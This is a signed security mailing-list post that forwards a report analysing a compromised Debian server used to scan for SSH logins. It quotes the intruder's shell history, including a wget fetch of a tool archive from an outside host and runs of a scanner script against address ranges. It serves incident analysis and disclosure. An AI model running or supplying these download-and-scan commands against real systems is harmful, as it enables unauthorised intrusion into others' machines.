1 |
-----BEGIN PGP SIGNED MESSAGE----- |
2 |
Hash: SHA1 |
3 |
|
4 |
I grabbed the tgz before it's too late. I plan on running it with a |
5 |
sniffer so I can see what it's doing--that should indicate whether it's |
6 |
really using some unknown ssh exploit (I'm afraid I'm not a whiz at |
7 |
disassembly, so I'd rather not take that route). I tend to think it's |
8 |
not; there was an OpenSSH vuln a while back that this guy's Debian |
9 |
machine might still be vulnerable to, if it wasn't patched in a year. If |
10 |
there were an unknown vulnerability, he'd be having a lot more success |
11 |
and we'd be seeing this a whole lot more (unless we're all rooted and |
12 |
don't know it). |
13 |
|
14 |
Anyone have any more information on this? |
15 |
|
16 |
- -------- Original Message -------- |
17 |
|
18 |
From: Stefan Janecek <stefan.janecek@×××.at> |
19 |
To: full-disclosure@××××××××××××.com |
20 |
|
21 |
|
22 |
Hmmm - I have also been getting those login attemps, but thought them to |
23 |
be harmless. Maybe they are not *that* harmless, though... Today I |
24 |
managed to get my hands on a machine that was originating such login |
25 |
attempts. I must admit I am far from being a linux security expert, but |
26 |
this is what I've found out up to now: |
27 |
|
28 |
Whoever broke into the machine did not take any attempts to cover up his |
29 |
tracks - this is what I found in /root/.bash_history: |
30 |
|
31 |
- ------ |
32 |
id |
33 |
uname -a |
34 |
w |
35 |
id |
36 |
ls |
37 |
wgte frauder.us/linux/ssh.tgz |
38 |
wget frauder.us/linux/ssh.tgz |
39 |
tar xzvf ssh.tgz |
40 |
tar xvf ssh.tgz |
41 |
ls |
42 |
cd ssh |
43 |
ls |
44 |
./go.sh 195.178 |
45 |
ls |
46 |
pico uniq.txt |
47 |
vi uniq.txt |
48 |
ls |
49 |
rm -rf uniq.txt |
50 |
./go.sh 167.205 |
51 |
ls |
52 |
rm -rf uniq.txt vuln.txt |
53 |
./go.sh 202.148.20 |
54 |
./go.sh 212.92 |
55 |
./go.sh 195.197 |
56 |
./go.sh 147.32 |
57 |
./go.sh 213.168 |
58 |
./go.sh 134.176 |
59 |
./go.sh 195.83 |
60 |
- ------ |
61 |
|
62 |
um-hum. I downloaded 'ssh.tgz', it contains the script go.sh and two |
63 |
binaries: |
64 |
|
65 |
go.sh: |
66 |
- ------- |
67 |
./ss 22 -b $1 -i eth0 -s 6 |
68 |
cat bios.txt |sort | uniq > uniq.txt |
69 |
./sshf |
70 |
- ------- |
71 |
|
72 |
* 'ss' apparently is some sort of portscanner |
73 |
* 'sshf' connects to every IP in uniq.txt and tries to log in as user |
74 |
'test' first, then as user 'guest' (according to tcpdump). |
75 |
|
76 |
This does not seem to be a stupid brute force attack, as there is only |
77 |
one login attempt per user. Could it be that the tool tries to exploit |
78 |
some vulnerability in the sshd, and just tries to look harmless by using |
79 |
'test' and 'guest' as usernames? |
80 |
|
81 |
The compromised machine was running an old debian woody installation |
82 |
which had not been upgraded for at least one year, the sshd version |
83 |
string says 'OpenSSH_3.6.1p2 Debian 1:3.6.1p2-10' |
84 |
|
85 |
As already mentioned, I am far from being an expert, but if I can assist |
86 |
in further testing, then let me know. Please CC me, I am not subscribed |
87 |
to the list. |
88 |
|
89 |
cheers, |
90 |
Stefan |
91 |
|
92 |
|
93 |
|
94 |
|
95 |
|
96 |
|
97 |
_______________________________________________ |
98 |
Full-Disclosure - We believe in it. |
99 |
Charter: http://lists.netsys.com/full-disclosure-charter.html |
100 |
|
101 |
|
102 |
- -- |
103 |
Dan ("KrispyKringle") |
104 |
Gentoo Linux Security Coordinator |
105 |
-----BEGIN PGP SIGNATURE----- |
106 |
Version: GnuPG v1.2.4 (Darwin) |
107 |
|
108 |
iQEVAwUBQQk4x7DO2aFJ9pv2AQIN0gf/aSN7cqEh0KVR89O2Whg546iQRHQJ6XyJ |
109 |
wUMmii+7qxRObzMQWTdk3MjJLeog9XVAyf5JKjEkhktrcMkg5e93Bbi3ZSf2KvpN |
110 |
R/V/0hIMQl5o5LzYHl2eTG+LreYHD7G5e/6iSBDPaWuyrhDa4n+7N6zi+riMHfhz |
111 |
DI1fKM+S/CPfpC5FmUz/Xk1gkbF83Qzq0QbjvXi0CZmqUhl706KH3a25ddn78VJr |
112 |
DTCPHVcfFgnywqOEqIh7CXIVeWCC3Zan/Vrz05QV/dSyAkYix8r6p2wZVWe3YsdW |
113 |
SbzwZLXsOjyODwnY+0zcytD+j2aV7ICjsAoQpcMZCmTyprVF0ffN3Q== |
114 |
=njA6 |
115 |
-----END PGP SIGNATURE----- |
116 |
|
117 |
-- |
118 |
gentoo-security@g.o mailing list |